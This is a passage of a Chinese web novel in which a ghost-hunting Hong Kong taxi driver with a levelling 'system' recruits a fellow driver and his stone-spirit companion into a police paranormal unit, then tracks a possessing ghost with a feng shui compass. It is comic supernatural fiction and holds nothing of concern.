“噗——!”桌上好几个正在喝饮料的人都忍不住喷了。
饶是周星星脸皮厚如城墙,被当众这么“复刻”黑历史,也瞬间涨红了脸,恼羞成怒地对于子朗比划着:
“于子朗!你够了啊!再学我说话,信不信我用学夺命剪刀脚,当场夹爆你的头!”
于子朗嘿嘿直笑,灵活地往后一躲:“不信不信!有本事你来啊!”
两人顿时像小孩子一样在座位上打闹起来,引得旁边几桌的客人都好奇地看过来。
第95章 看到了一个意料之外的熟人
谢潮无奈地摇了摇头,任由那几个活宝在旁边闹腾,没去插手,而是转过身来望向古德。
此刻,他眉头微微蹙着,眼底透出一丝不易察觉的担忧,语气也压低了几分:
“阿德,说真的,我感觉最近整个香江的气氛都不太对劲。不只是鬼物数量增多,它们好像都特别暴躁,攻击性比以前强了很多。我们处理起来,感觉压力也大了不少。”
古德喝了口冰镇汽水,感受着气泡在喉咙里炸开的清凉,他微微眯了眯眼,神情淡定而从容。
“不用太担心。”他的声音平稳,带着一种莫名让人安心的力量。
“这主要是因为鬼月到了。阴气盛极而衰之前,总会有这么一阵躁动,就像潮汐一样....规律使然,属于正常现象。你和阿星现在体内已经修出了一丝法力根基,可以尝试自己绘制一些简单的辟邪符和护身符了。
虽然效果可能没我画的好,但批量制作,给你们科里出外勤的普通同事随身佩戴,关键时刻能挡一挡阴气侵袭,保个平安。最近大家都多注意安全,真遇到解决不了的硬茬子,随时call我。”
他顿了顿,看着远处九龙城璀璨的灯火,语气笃定地补充道:“放心吧,这个香江,乱不起来。最多就是些局部的小混乱,掀不起大风浪。”
古德有这个底气,是因为他逐渐发现,这个综影世界虽然没有了九叔那样定鼎乾坤的茅山宗师,但暗地里还是藏着不少有真本事的能人异士。
只是大家平时低调,各守一亩三分地罢了。
例如说,他的眼神不动声色地掠过靠近栏杆的一桌。
那是**的老友桌。
目光最终落在其中一个男人身上。
那人二十五六岁上下,长相与马国民有七八分神似,穿着寻常的Polo衫,正埋头大口啃着一只烧鹅腿。
而真正让古德在意的,是他身边坐着的另一个“人”。
那是个留着蘑菇头的青年,气质儒雅,眼神却格外澄澈透亮,带着一种几乎不属于凡尘的清明。
只是这发型留起来和春哥有几分相似(信春哥得永生的那个春哥)。
他就安安静静地坐在那里,几乎不怎么动筷子,只是微笑着看着同伴大吃大喝。
关键是,周围其他桌的客人,似乎完全看不到这个蘑菇头男子的存在!
就在这时,那蘑菇头男子似乎察觉到了古德的注视,惊讶地转过头,目光与古德对上。
他先是愣了一下,随即似乎感受到了古德身上不同于常人的气息,脸上露出友善而略带好奇的笑容,对着古德微微点了点头,算是打招呼。
古德也心中了然,嘴角扬起一抹浅笑,也回以点头。
他认出了这两位的“身份”,是电视剧《降魔的》里的主角,的士司机马季,和他身边由灵石所化、守护着他的精灵石敢当!
说是精灵,其实更确切的称呼是“石精”。
若是常年被人供奉、又一心向善,能化形现世,便会被人尊称为“石公”,也有人喜欢叫“石头公”。
相比之下,“精灵”一词显得更轻快、讨喜,也更容易让人接受。
石精这种存在,并不全靠苦修得来。
它们以天地为炉,以日月为灯,吸纳阴阳二气、山川灵韵,本就带着几分先天的神圣与不可思议。
事实上,在上古灵气充盈的年代,万物皆可成精。石头能成精,鸡鸭亦可成精。
比如那传说里的“鸡精”,不仅会跳舞,还能打篮球,堪称一代奇观。
只可惜,如今灵气早已衰落,大道不显,法器失去灵性,妖精罕见,仙踪渺渺。
唯一仍旧活跃在人世的,大多只是游荡不散的鬼物。
至于那些奇诡的精怪,理论上不该再有生存的土壤。
因此,眼前还能见到石敢当这样古老的石精,且法力不俗,实在耐人寻味。
古德心头暗暗生出疑惑:
“奇怪……这等存在,为什么还能留存下来?而且法力似乎一点没减……倒像是与这个时代格格不入的遗物。”
思绪间,他忍不住联想起曾看过的电视剧。
“记得电视剧里,那石敢当的法力最终还是被马季吸走了……可如今这是真实的世界,不知道会如何发展?”
古德嘴角微不可察地勾了一下。
“就是没想到在这里碰上了……也真是巧了。不过都是开出租的,
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认识**也很合理。
当时知道我也是开出租车的时候,我还想过着世界会不会有马季存在.....不过后来光想着去找九叔他们,竟把这人给忘了……没想到兜兜转转,真在这碰上了。”
不过古德暂时没有过去打招呼的打算。
一来**的退休宴正在进行,不好喧宾夺主;二来这里人多眼杂,不是深谈的地方。
他打算等宴会散场后,找个机会单独跟马季聊聊。
毕竟,他这个“开出租车里最会捉鬼的靓仔”,想去结识一下“开出租车里第二会捉鬼的靓仔”,交流下业务心得,顺便看看有没有机会发展成潜在的“工具人”伙伴,岂不是合情合理?
“阿德!你看什么呢那么入神?来来来,验货了!”
周星星的声音把古德的思绪拉了回来。
只见他满脸得意地提着一个黑色手提箱走了过来,啪的一声放到桌上,动作里带着几分炫耀。
手指一勾,锁扣弹开,箱盖开了一条缝,顿时有几股强弱不一的阴冷气息逸散出来,像是夜风里突然钻进来几条冰凉的蛇,直让周围空气一冷。
周星星得意洋洋,眉毛一挑,指着箱子道:
“喏,这次的收获全在这儿了!品质绝对有保证!我跟你说啊阿德,我发现了个规律!”
“每次我们给你送完这种‘大货’之后,没过两天,我就感觉自己修炼那呼吸法的时候,进度特别快!浑身暖洋洋的,特别得劲!你说神不神?”
古德接过箱子,感受着里面传来的阴德波动,心里门清,表面上却只是淡淡一笑,没有过多解释:
“哦?是吗?那可能是你心理作用,或者正好赶上修炼的快速期了吧。”
他当然知道,超度或收服强大的鬼物获得的阴德,会对修行有潜移默化的助益,能净化身心、提升悟性,甚至加呼吸法的吸纳速度。
这只是修行界的基本常识罢了。
不过,看破不说破,让周星星保持点神秘感和积极性也挺好。
他合上箱子,放在自己脚边:“东西我收下了,辛苦你们了。来来来,这烧鹅味道真不错!”
宴席在热闹的气氛中继续.....
第96章 石敢当送的礼物
**的退休宴在喧闹和祝福声中渐渐落下帷幕。
宾客们陆续告别,带着微醺的醉意和满腹的美食,三三两两地散去。
露天平台上,周星星喝得有点高,脸红脖子粗地搂着古德的肩膀,大着舌头嚷嚷:
“阿德!嗝……送我……送我回去!必须你送!别人开车……我、我不放心!咱们……嗝……顺路聊聊捉鬼心得!”
古德被他缠得没办法,又看他醉醺醺的样子实在影响市容,便无奈地笑了笑,抬手在他后颈某个穴位上不轻不重地一记手刀。
“呃……”周星星眼睛一翻,哼都没哼一声,软绵绵地就往地上出溜。
古德顺手扶住他,对站在一旁的谢潮和于子朗说道:
“阿潮,子朗,麻烦你们俩把这醉猫弄回去吧。我今晚还有点别的事,就不送他了。”
谢潮接过瘫软的周星星,有些诧异地看了古德一眼。
平时这种“生意”古德可是最积极的,巴不得多拉一单算一单公里数,今天怎么转性了?他好奇地问:“德仔,你是不是有什么事?需要帮忙吗?”
古德神秘地笑了笑,压低声音:“放心,不是什么危险的事。说不定……还能给你们部门再物色个新队员呢。”
一说道拉人这个事,古德忽然想起什么,用略带郁闷的眼神看向谢潮:
“哎,我说阿潮,你这特别事务科,从阿星开始,到子朗和作栋,好像都是我间接给你‘介绍’的吧?你这当领导的,一点人力资源成本都没花,光等着摘桃子了是吧?”
谢潮闻言,非但不惭愧,反而咧嘴一笑,露出两排白牙,用力拍了拍古德的肩膀:
“德仔,你这话说的就见外了!咱们可是兄弟,虽然你不在我部门。但是我的部门不就是你的部门?分那么清楚干嘛!
真要这样,算我欠你的!回头我再去库房给你淘换点好木料,怎么样?”
一提起木料,古德更郁闷了。
他那千尺豪宅(划掉)都快成木材仓库了,自从谢潮知道他喜欢木头后,时不时上门就来送木头,再送下去他家连下脚的地方都没了。
这更加坚定了他要尽快换个大房子的决心。
“得了吧,你那点库存先留着吧,我家都快堆不下了。木头的事以后再说,我先走了。”
古德挥挥手,不再多言,转身朝着酒楼后面的停车场走去。
谢潮看着古德的背影消失在楼梯口,摇了摇头,和于子朗一起,一人一边架起死沉死沉的周星星,费力地往外挪。
于子朗一边走一边抱怨:“阿德也真是的,好好的把阿星打晕干嘛……这家伙一晕过去,跟灌了铅似的,重**!”
停车场里,大部分参加宴会的出租车已经载客离开,显得有些空旷。
夜晚的灯光昏黄,在地上拉出长长的影子。
空气中还残留着汽车尾气和饭菜的味道。
古德目光扫过停车场,很快锁定了一辆车。
那是一辆红色的士,引擎已经发动,排气管冒着淡淡的尾气,但车子却稳稳地停在原地,没有要开走的意思。
驾驶座上坐着的,正是之前宴会上见过的马季。
古德微微一笑,径直走了过去。
他猜马季是在等他。
走到车旁,古德敲了敲驾驶座的车窗。
车窗缓缓降下,露出马季那张带着点憨厚和警惕的脸。
古德递过去一支烟,用老司机之间常见的调侃语气说道:
“靓仔,车打着火不走,烧油玩啊?油价不便宜哦。”
马季摆了摆手,客气地拒绝:
“不好意思啊,我不会抽烟。”
他顿了顿,解释道,“是石敢当他说你会来找我,让我在这里等你一下。”
古德也不勉强,自己把烟叼在嘴里,指尖微不可查地闪过一丝法力波动,“嗤”的一声轻响,烟头竟无火自燃,亮起一点红光。
他吸了一口,吐出淡淡的烟雾,问道:“认识一下,我叫古德。你那位朋友呢?怎么没见着?”
马季见古德站在外面,觉得坐在车里说话不太礼貌,便
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熄了火,开门走了下来。
他个子跟古德差不多高,但是一看就是个老实人。
“我叫马季,也是开出租的。石敢当他……”马季话还没说完,就听见旁边传来一个温和的声音。
“道友,我在这儿。”
古德转头看去,只见那个蘑菇头、气质清澈的年轻男子石敢当,不知何时已经悄无声息地出现在几步开外。
更让古德哭笑不得的是,石敢当手里还像拎小鸡一样拎着一个东西。
那是一个穿着破旧夹克、脸色青紫、舌头耷拉出老长的吊死鬼!
这吊死鬼显然被石敢当整治过,魂体黯淡,瑟瑟发抖,连挣扎的力气都没有了。
石敢当脸上带着人畜无害的友好笑容,把那个吊死鬼往前递了递,语气自然得像是在送一袋水果:
“古德道友,初次见面,小小礼物,不成敬意。这个恶鬼盘踞在附近巷子里想害人,我刚顺手抓来的,你要不要?”
古德看着这颇具冲击力的一幕,嘴角微微抽搐了一下。
这石敢当的做事风格,还真是……直接又出人意料。不
过对方好意,他也没理由拒绝。
古德从随身的挎包里拿出一个小瓷瓶,拔掉塞子,瓶口对准那吊死鬼,低喝一声:“收!”
一股吸力传来,那吊死鬼化作一缕黑烟,被收入瓶中。
古德盖好盖子,心想今晚正好一起拿去给岚婆处理。
“多谢石道友馈赠。”
古德拱手谢过,然后切入正题,问道,“看来石道友似乎早就注意到我了?”
石敢当点了点头,笑容依旧温和:
“是的。这几日我外出驱邪时,偶然见到道友也在收摄鬼物,手法娴熟,正气凛然。我便多留意了几分。”
他说话条理清晰,带着一种古老的文雅气息。
古德心中了然,怪不得前段时间偶尔会觉得有人在暗中观察自己,但每次仔细探查又找不到源头,原来是他。
他还以为是“怪谈协会”那些阴险家伙在搞鬼呢。
第97章 马季和石敢当的来历
古德看着那人畜无害模样的石敢当。
仔细感应了一下石敢当身上的气息,果然虽然形似人类,但内里却迥然不同。
不过他也只是在电视上大概了解了石敢当的底细,所以古德试探着问道:
“观道友气息,似人非人,周身清灵之气萦绕,纯净无垢,莫非……是天地精灵所化?”
古德知道归知道,但也不能直接点破,需要引导对方自己说出来。
石敢当似乎毫无心机,非常坦诚地回答:
“道友慧眼。叫我石敢当便可。我并非人类,乃是受人间香火愿力点化,一块‘泰山石敢当’所化的石精。”
古德见对方如此坦诚,便继续追问,这也是他今晚来找他们的主要目的之一:
“原来如此。那……道友和马季兄弟是如何结识的?据我所知,如今天地灵气衰微,几乎枯竭,对你们精灵之属影响极大。但我看道友灵体凝实,似乎并未受到太大影响,这是为何?”
听到这个问题,石敢当脸上那永远温和的笑容第一次出现了一丝变化,带上了一点淡淡的苦涩。
他沉默了片刻,还是决定如实相告:“道友所言极是。自从此界灵气日渐稀薄,我为了保存灵性,不得不陷入沉眠,重新化为一块顽石,寄望于未来能有灵气复苏之日。”
他看了一眼身旁的马季,眼神复杂:
“就在我灵性即将被时光磨灭,彻底归于沉寂之际……忽然有一泡……呃,人之精华,浇在了我所化的石头之上。
这泡尿,阴差阳错,竟蕴含着一丝奇异的生机,将我从沉眠中短暂唤醒。而撒尿之人,正是马季。”
旁边的马季听到这里,脸上露出极度尴尬的笑容,挠了挠头,恨不得找个地缝钻进去,但又不好意思打断。
古德却听得更加好奇:“仅凭一泡尿就能唤醒一位沉睡的石精?这似乎……不太符合常理。”
石敢当点了点头,目光再次落到马季身上,带着一种宿命般的感慨:
“道友说得对,寻常秽物自然不行。关键在于,马季的命格……与我的本源属性产生了奇妙的共鸣。他的尿液中蕴含了他自身命格的气息,这气息如同钥匙一般,恰好打开了我封闭的灵窍。
他于我有唤醒之恩,我本欲报恩后便离去。然而,我很快发现,待在他身边,我原本在不断缓慢消散的法力,其消散速度竟然大大减缓了!似乎他的命格气场,能滋养我的灵体。”
说到这里,石敢当的语气又带上了一丝无奈:“只不过……”他没有继续说下去。
古德大概听出了石敢当的言外之意,根据电视剧里的表现,虽然石敢当的法力消散问题被缓解,但是同时马季也在慢慢吸收他的法力,这对他而言,又何尝不是一个慢性死亡。
只不过石敢当生性平和豁达,觉得自己能多存续一段时间已是赚到,便也安于现状,不作他想罢了。
古德心下轻叹。
石敢当是因人们祈求“镇宅辟邪”的信仰而生的精灵,天生就被赋予了守护的职责,性格中带着一种近乎固执的善良和奉献精神,有点像人们常说的“圣母”。
就像上一世电视剧《降魔的》主题曲唱的歌词,“谁愿见死不救滴水不漏,像一颗石头”。
古德不禁联想到自己。
他自然也非冷酷之人,时常做些在旁人看来像是“烂好人”的事,尽管他是收费的。
但这收费,某种程度上也是遵循因果,维系平衡。
就像他那行事端正、有所为有所不为的偶像九叔,所以古德的行为模式自然不免受其影响。
而且道教虽讲“尊重他人因果”,但也并非无情教义,否则也不会有“稚子守道门,老君背剑救苍生”的说法了。
其实,关于石敢当法力流失和马季被动吸收的问题,古德凭借系统知识和现在的见识,隐约觉得或许有解决之道,比如传授马季基础的呼吸法,让他能主动控制吸收,甚至反哺石敢当?<
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br>但毕竟双方初次深谈,交浅不言深,他也不想显得过于热心肠,一切随缘吧。
于是,古德换了个话题,问出了他另一个好奇的点:
“石道友,你刚才提到马季的命格特殊,不知他究竟是何种命格,能与你如此契合?”
石敢当看向马季,眼神中带着一种欣赏和肯定,缓缓说道:
“马季的命格,乃是颇为罕见的‘镇岳承康格’。此命格之人,并非大富大贵、招财进宝的类型,他不吸引横财,但天生能规避大祸;他不擅长锐意进取,却极其擅长稳固守护。
他的存在本身,就如同大地般厚重安稳,能让身边的人和事趋于平和、稳定。土能生金,亦能载物,与我这石精的本源属性正是同根同源,故而特别契合。”
古德恍然大悟,终于解开了心中的一个疑惑。
同时他也暗暗感慨,这石敢当也太老实了,简直是问什么答什么,毫无防备之心,三两下就把自己的底细和马季的根脚交代得清清楚楚。
这要是遇到心怀不轨之徒,岂不是危险?
古德看着眼前这一对组合。
老实巴交的石精和憨厚耿直的出租车司机,忍不住笑了笑,问道:“所以,你们现在也是一个开车捉鬼,一个辅助捉鬼,搭档干活了?马季,你帮人处理这些灵异事件,收钱吗?”
马季被问得一愣,脸上露出纯然的困惑,反问道:“啊?帮人驱邪捉鬼……还要收钱的吗?”
看他那表情,完全是发自内心地觉得这是件助人为乐、理所应当的事情,根本没想过以此牟利。
古德看着他俩,一时竟不知该说什么好。
得,看来这二位,是属于“用爱发电”的公益型选手。
跟自己这种“收钱办事,童叟无欺”的职业型选手,路子不太一样啊。
这种纯粹,在这个日渐混乱的世界里,倒也显得格外珍贵。
不过,古德今晚来找他们,可是带着其他目的的。
第98章 这个男人....
他清了清嗓子,说出了今晚的最终意图:“马季,有没有考虑过……换份工作?”
马季正沉浸在“捉鬼该不该收费”的哲学思考中,闻言愣了一下,下意识摸了摸后脑勺,憨憨地回答:“换工作?我觉得开出租车挺好的啊,时间自由,还能遇到各种各样的人。”
古德早就料到他会这么说,不紧不慢地开始画大饼:
“开出租车是不错,但你现在不是还在兼职‘驱魔人’吗?我看你这路子,纯属野路子,靠天赋和石敢当帮忙,风险大,还没保障。
我给你介绍个去处,就是警署正规的特别事务部门,专门处理这类灵异事件的!”
他掰着手指头数好处:“福利待遇好,五险一金齐全,有正规编制,出任务有补贴和奖金!
最重要的是可以合法配枪!遇到难缠的恶鬼,不用总靠拳头棍子,必要时可以申请动用特殊装备,‘物理超度’效率更高!怎么样,心动不?”
说这话时,古德心里的小算盘打得噼啪响:更重要的是,把你招安进谢潮的部门,就成了我的下一个工具人!
你抓的鬼,经过岚婆那边走账,阴德少不了我的一份抽成!
这可是可持续性发展的优质资源!
马季一听“合法配枪”、“正规编制”,眼睛果然亮了一下。
他自制的那些家伙事儿毕竟名不正言不顺,总提心吊胆。
石敢当则安静地站在一旁,一如既往地表示:“我尊重马季的决定。”
古德见马季明显意动但还在犹豫,决定再加一把火,抛出一个更具诱惑力的筹码:
“而且,进了那个部门,表现好的话,说不定……还能找到解决石敢当目前困境的办法哦。”
“石敢当的困境?”
马季一听这个,立刻紧张起来,急切地追问,“石敢当他有什么问题吗?严重不严重?”
古德笑了笑,语气轻松地安抚道:“别紧张,目前没什么大问题,就是一点小状况,不影响日常。”
但马季显然放心不下,连珠炮似的问:“那我要是加入那个部门,能马上解决他的问题吗?需要我做什么?”
石敢当也投来好奇和期待的目光。
古德摇了摇头,故意卖了个关子:
“马上解决?那要看你的‘表现’了。不过你放心,只要你在这个岗位上干得出色,立下功劳,石敢当的这点小事,根本不算问题。”
他故意把“表现”和“功劳”说得重了些,心里暗想:只要你拼命抓鬼,给我赚够阴德,助我升级系统就好。
到时候反正呼吸法也是准备传授出去的,就算呼吸法不行,只要公里数够多,系统里总能找到解决办法。
解决石敢当的法力流失问题,不过是顺手之事!
况且,马季现在体内已有从石敢当处吸收的法力基础,比当初谢潮、周星星从零开始强多了,稍加训练就是即战力。
果然,马季一听这事关石敢当的安危,几乎没有任何犹豫,立刻拍板:“好!我加入!古先生,你说去哪儿报到吧!”
石敢当见马季为了自己如此干脆,眼中闪过一丝感动,对着古德郑重地鞠了一躬:
“古先生,我能感受到您言语中的真诚,并未欺骗我们。我代马季,也代我自己,先行谢过您了!”
古德摆了摆手,坦然受了他这一礼,说道:
“不用客气,以后叫我古德或者阿德都行,现在不兴叫道友那么古板的称呼了。”
他随即把谢潮部门的地址告诉了马季,“你明天就去这个地方,找一个叫谢潮的警官,就说是我古德介绍你来的。他会安排你面试和后续事宜。”
马季认真记下地址,再三道谢。
古德见目的达到,便不再多留,告辞离开,身影消失在停车场昏暗的灯光下。
等古德走远,马季才有些不确定地小声问石敢当:“石敢当,你说……我答应加入这个部门,这个决定做得对吗?会不会太草率了?”
石敢当望着古德离去的方向,蘑菇头下的脸上露出温和而思索的神情,轻轻摇了摇头:
“马季,未来的对错,我也无法预知。但是,我的灵觉告诉我,与这位古先生相识,或许会为我们带来许多意想不到的……机缘和变化。我相信这份感觉。”
另一边,古德回到自己的出租车,并没有直接回家。
他又接了
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几单夜间的生意,绕着九龙开了几圈(这次没有绕路!),赚了点公里数。
才驱车来到回到阴阳路召唤岚婆,将今晚收获的战利品和周星星的“大货”交给了她处理。
看着岚婆清点鬼物时满意的笑容,古德知道,明天的“阴德到账”提示肯定不会让他失望。
果然,第二天一大早,古德还在洗漱,脑海中就准时响起了悦耳的提示音:
【阴德到账:400点】
【当前阴德:2280/3000】
“漂亮!”
古德心情大好,看着面板上越来越接近升级目标的数字,感觉浑身充满了干劲!
系统升级指日可待!
人逢喜事精神爽。
他决定奖励自己……提前出工!
没错,就是卷!
他要成为香江出租车司机里最勤奋的那个崽!啊不,是香江开出租车里最靓的卷王!
他看了一下公里点数,加上昨天后半天的努力,已经积累了500点。
照这个速度,再努力跑两三天,就能凑够点数,点亮一个新的LV3**!
说不定到时候,系统升级和新技能还能来个双喜临门!
想到这里,古德动力满满,草草吃了早餐,早早地就开着车出了门。
清晨的香江,街道上车流渐渐增多,充满了忙碌的生机。
古德开着车,有意无意地选择了一些相对绕远但可能更容易接到长途客的路线。
一路顺利,他载着一位客人来到了位于新界东部的将军澳地区,目的地是著名的公共屋邨厚德邨。
将客人安全送达后,古德收了车费,把车缓缓停在屋邨楼下路边一个不碍事的地方。
他打算稍微休息几分钟,喝口水,顺便看看有没有返程的客人。
就在他拧开矿泉水瓶盖,刚喝了一口水的时候,眼角的余光瞥见厚德邨其中一幢楼的出口处,走出来一个身影。
这个人的装扮,在这公共屋邨里,显得格外扎眼。
只见他身穿一件长及膝盖的黑色皮质风衣,头上压着一顶黑色鸭舌帽,脸上还戴着一副硕大的黑色盲公镜。
古德握着水瓶的手一顿,这人....
第99章 这是里昂?
古德正打量着那个从厚德邨走出来、一身黑衣黑帽黑镜、行迹可疑的身影,心里琢磨着不是说精神病院没有这个人吗?
没想到,那人似乎也注意到了停在路边的出租车,脚步一顿,方向一转,竟径直朝着古德的车走了过来。
随着对方走近,那身即使在90年代香江也显得过于夸张的装扮让古德越看越眼熟,一个经典电影形象瞬间蹦进脑海。
他忍不住摇下车窗,脱口而出:“里昂?”
只见那人走到车旁,动作利落地摘下了那副盲公镜,露出了一张古德再熟悉不过、此刻却带着贱兮兮笑容的脸,正是周星星!
周星星把眼镜别在风衣领口,趴在车窗上,挤眉弄眼地问:
“哇!阿德!你怎么知道我最近刚起了个酷炫的英文名,就叫Leon?是不是觉得我这样穿很有型,很像电影里的顶级高手?”
古德看着他那副得意洋洋的样子,一阵无语,没好气地翻了个白眼:
“我顶你个肺啊!周星星!这大热天的,你裹得跟个木乃伊似的,cosplay神经病啊?不怕中暑?”
周星星闻言,非但不恼,反而神秘兮兮地拍了拍自己鼓鼓囊囊的风衣,解释道:
“哎呀,没办法嘛!你也知道我们这行危险,身上不带足装备心里不踏实。可家伙事儿太多,普通的衣服根本塞不下,只好弄件大号风衣遮一遮咯。”
他话锋一转,脸上露出炫耀的表情:
“不过你放心!我这件风衣可是陈师傅(纸扎陈)特别改装过的高科技产品!你看这里....”
他指了指风衣内侧几个不起眼的小口袋,“里面装了陈师傅发明的迷你符文风扇!只要放在不见光的地方,它就能自己转起来,吹出来的还是冷风!
效果堪比移动小空调,凉快得很!陈师傅说还在里面加了什么‘清风除秽符’的纹路,能保持身体干爽,不出汗也不沾灰尘!”
说完,他像个暴露狂一样,刷地一下拉开了风衣的前襟!
好在,比真正的变态强点的是,周星星风衣里面还规规矩矩地穿着他那套警用皮衣皮裤。
但风衣的内衬却大有乾坤!
只见左右两边各自缝着一个巴掌大小、叶片缓缓旋转的迷你风扇,此时正慢慢停了下来。
内衬上还巧妙地固定着两截可以拼接的打鬼棒组件,以及好几个插满各种符箓的小口袋,琳琅满目,简直像个移动的**库兼法器材展柜!
古德看得眉头一挑,心里暗赞:“我靠!这纸扎陈可以啊!这才几天没见,连‘符文空调服’都搞出来了?这发明创造力,不去申请专利真是浪费了!”
他好奇心起,对周星星勾了勾手指:“拿来我看看。”
周星星不明所以,但还是小心翼翼地从内衬上拆下一个迷你风扇递过去。
古德接过这个做工精致、触手冰凉的小玩意儿,翻看了一下,发现背面果然刻着细密的符文,像是机械和玄学结合,原理是什么,古德也搞不懂。
他顺手把风扇放到了出租车驾驶座底下,那块常年不见阳光的阴影里。
果然,风扇一进入黑暗环境,叶片立刻加速旋转起来,发出细微的嗡嗡声,一股清凉的气流吹拂到古德脚踝,舒服极了!
古德眼中惊喜之色一闪而过:“好东西啊!很实用!”
他抬头,对着正眼巴巴看着风扇的周星星,用不容置疑的语气说道:
“阿星,这个归我了。你反正认识陈老板,再去找他要一个就是了。”
周星星一听,顿时瞪大了眼睛,脸上写满了“难以置信”四个大字,夸张地叫道:
“不是吧阿德?!光天化日,朗朗乾坤!你现在**都做得这么理直气壮、明目张胆了吗?还有没有王法啦!”
古德无所谓地耸耸肩,直接把风扇塞进了自己裤兜:
“就当是支援兄弟了。再说,你穿着这身‘空调服’已经很拉风了,少一个风扇又不会热死。”
周星星看着古德那副我就抢了的样子,悲愤地拉紧风衣扣子,把装备重新藏好,仿佛生怕古德再看上他别的宝贝。
闹归闹,古德言归正传,问道:“行了,别嚎了。说正事,你穿成这样跑厚德邨来干嘛?”
周星星整理好风衣,表
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情也正经了些,皱着眉头说:“别提了!早上接到线报,说这栋楼里闹鬼,好像还挺凶。阿潮让我先过来摸摸底,看看情况。”
古德看着周星星这身恨不得把全部家当穿在身上的打扮,以及他脸上那点残余的郁闷,就猜到事情肯定不顺利。
他挑了挑眉:“看你这架势,是没搞定?那你怎么又出来了?准备撤了?”
周星星无奈地叹了口气:“唉,我进去调查了一圈,发现是个刚死的老阿婆,怨气不散,附在了她小孙子的身上。那小孩才七八岁的样子,被附身后力大无穷,眼神也凶得很。
我一亮身份,那附身的阿婆可能感应到我身上的法器,警惕性很高,控制着小孩转身就跑,钻进楼道里没影了!
这厚德邨你也知道,楼龄老,结构复杂,走廊七拐八绕跟迷宫似的,还有好多后楼梯和隐蔽角落。我转了半天,连个鬼影子都没再找到。
这不,正准备回警署把那个新配发的‘灵异能量探测仪’拿来试试,看能不能定位一下。刚出来就看见你的车了,正好,搭个顺风车回去拿装备!”
古德一听,心里有点惊讶:谢潮他们部门可以啊,连“找鬼的仪器”都研发出来了?
看来纸扎陈拿到符箓大全后,灵感大爆发了!
不过,找鬼嘛,何必那么麻烦?
他笑了笑,从随身的挎包里拿出一个古朴的罗盘。
这罗盘是达文西送他的,被他唤醒灵性温养后就随身携带,平时除了看风水,还真没怎么用过捉鬼。
“不用那么麻烦跑一趟了。”古德托着罗盘,对周星星说,“正好我带了这家伙,专业的。我陪你上去找找看,比你那什么仪器应该靠谱点。”
周星星一看古德手里那古色古香、刻满密密麻麻符号的罗盘,眼睛顿时就直了,刚才被抢风扇的郁闷一扫而空,脸上瞬间堆起讨好的笑容,凑近说道:
“阿德!德哥!这就是传说中的风水罗盘吧?看着就厉害!那个……能不能……给我玩玩?让我也过过手瘾?”
看他那副跃跃欲试、眼巴巴的样子,古德真是哭笑不得。
第100章 来都来了,就别跑
古德看着周星星那副眼巴巴的样子,觉得好笑,便把手中的罗盘递了过去:“喏,给你看看。不过你看得懂吗?”
周星星如获至宝,双手接过那沉甸甸、刻满密密麻麻符号的黄铜罗盘,翻来覆去地研究。
他先是学着古德的样子平托着,发现中间的磁针乱转;又试着竖起来看,还是不得要领。
折腾了半天,他挠了挠头,讪讪地把罗盘递了回去,尴尬地笑道:“嘿嘿……阿德,这玩意儿太高深了,跟看天书似的。还是你来吧!”
古德接过罗盘,微微一笑,一边调整着罗盘的平衡,一边给周星星做起了现场教学:
“看罗盘,首先要端平,让天池里的磁针自由转动。等指针稳定下来,指向正南正北后,再看内盘上哪一层刻度的气场与当前环境的阴煞之气产生感应。”
他手指轻轻拂过盘面上层层叠叠的同心圆刻度,“比如现在,指针微微颤动,偏向‘寅’位(东北方),说明那个方向的阴气比较凝聚。结合这栋楼的结构,我们顺着这个方向找,应该就能找到它的藏身之处。”
周星星听得似懂非懂,但看着古德一副专业认真的样子,还是连连点头:“哦哦!原来如此!阿德你真厉害!”
古德不再多言,托着罗盘,感受着指针细微的牵引,迈步走进了厚德邨那栋略显陈旧的大楼。
周星星赶紧拉紧他的“空调风衣”,像个跟班一样紧随其后。
楼道里光线昏暗,空气中弥漫着老楼特有的潮湿和油烟混合的气味。
罗盘的指针随着他们的移动不断微调方向,指引着他们穿过曲折的走廊,绕过堆杂物的角落,最终停在了一扇厚重的铁门前。
门上挂着“高压电房,闲人免进”的警示牌。
“在这里面?”周星星压低声音,有些惊讶。
这电房规模不小,看样子是为了供应这栋楼以及隔壁相连的一个小型商场而建的。
古德点了点头,罗盘上天池的磁针正轻微但持续地指向铁门缝隙。
他示意周星星做好准备,然后轻轻推了推门,发现门没锁死,留有一条缝。
两人悄无声息地闪身进去。
电房里空间颇大,排列着嗡嗡作响的大型配电箱和各种仪表,空气中弥漫着臭氧和金属发热的味道。
在角落一排巨大的变压器后面,他们找到了目标。
一个蜷缩着身子的小男孩。
在古德眼中,小男孩背上清晰地趴着一个身形佝偻、满脸皱纹、眼神怨毒的老阿婆鬼魂!
浓郁的灰黑色阴气如同蛛网般缠绕着小男孩的四肢百骸,控制着他的行动。
感应了一下那鬼老太的阴气强度,也就是个普通的怨灵级别,连恶鬼都算不上。
古德心里忍不住吐槽:“就这水平?周星星你这家伙最近是不是偷懒了?连个普通怨灵都能让它控制着人从你眼皮子底下溜掉?看来得跟谢潮建议一下,给你加练加练了!”
这念头一闪而过。
那附身的鬼老太显然也发现了闯入者,知道自己无处可逃。
但它还是挣扎着,用沙哑扭曲的声音,透过小男孩的嘴巴问道:“两……两位大师……放……放我一马……可以吗?”
声音里带着恐惧和不甘。
古德面无表情地看着它,对于香江这些老太太鬼魂总喜欢附身亲人搞事的癖好,他已经见怪不怪了。
他语气平静但不容置疑地说:
“阿婆,人死如灯灭,阳间的事就不要再纠缠了。更何况这是你的亲孙子,你怎么忍心折腾自己的血脉至亲?乖乖跟我们走,我送你下去投胎转世,重新开始,对大家都好。”
那鬼老太脸上瞬间变得狰狞起来,尖声叫道:“不行!我不能就这么走了!我那对白眼狼儿子和儿媳!是他们害死我的!我要报仇!我要让他们不得好死!”
古德叹了口气,知道道理讲不通了。
“那就是没得谈了。”
他本想用**吓唬它一下,但眼角瞥见周围密密麻麻的电缆和配电箱,立刻打消了这个危险的念头。
在电房里玩雷,简直是老寿星上吊嫌命长!
他迅速改变策略,手指一翻,一张绘制好的斩鬼符已夹在指间!
符箓上的朱砂符文在古德法力催动下,隐隐泛起赤红色的光芒,散发出一股专克阴魂、凌厉无匹的肃杀之气!
这一幕,让古德莫名觉得有熟悉,好像在他在哪里也做过这个事情。
那斩鬼符的气息一出,鬼老太顿时吓得魂体剧震!
它能清晰地感觉到,这张符蕴含的力量足以将它打得魂飞魄散,连投胎的机会都没有!
它立刻怂了,慌忙改口,声音都带上了慌乱:
